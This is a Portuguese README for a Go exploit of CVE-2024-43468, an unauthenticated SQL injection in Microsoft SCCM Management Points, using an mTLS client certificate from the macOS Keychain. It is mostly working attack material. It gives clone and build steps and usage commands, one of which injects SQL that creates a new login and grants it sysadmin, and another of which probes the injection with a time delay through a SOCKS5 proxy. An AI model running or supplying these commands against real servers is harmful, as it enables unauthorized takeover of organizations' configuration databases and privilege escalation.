
CVE-2024-43468 Exploit de Injeção SQL no SCCM (versão com cert de cliente mTLS não extraível do keychain do MacOS)
Implementação em Go do exploit CVE-2024-43468 que utiliza o Keychain do macOS para autenticação mTLS (sem necessidade de exportar chaves do keychain).
Adicionalmente:
Baseado em:
Explora injeções SQL não autenticadas no Microsoft Configuration Manager (ConfigMgr / SCCM) que permitem a um atacante com acesso de rede a um Management Point executar consultas SQL arbitrárias no banco de dados do site.
Versões vulneráveis:
# Clonar o repositório
git clone https://github.com/nikallass/CVE-2024-43468_mTLS_go
cd CVE-2024-43468_mTLS_go
# Instalar dependências
go get github.com/google/uuid
go get golang.org/x/net/proxy
# Compilar
go build -o sccm
# Mostrar ajuda
./sccm -h
# Uso básico (criar novo admin)
./sccm -t https://sccm-mp.local \
-sql "create login user123 with password = 'Password123'; exec master.dbo.sp_addsrvrolemember 'user123', 'sysadmin'" \
-cn "CertificateCommonName"
# Com proxy personalizado (testar com sleep 5)
./sccm -t https://sccm-mp.local \
-sql "WAITFOR DELAY '0:0:5'" \
-cn "CertificateCommonName" \
-proxy "127.0.0.1:9050"
| Parâmetro | Descrição |
|---|---|
-t | URL alvo (obrigatório) |
-sql | Consulta SQL a executar (obrigatório) |
-cn | Common Name do certificado no Keychain do macOS (obrigatório) |
-proxy | Endereço do proxy SOCKS5 (padrão: vazio) |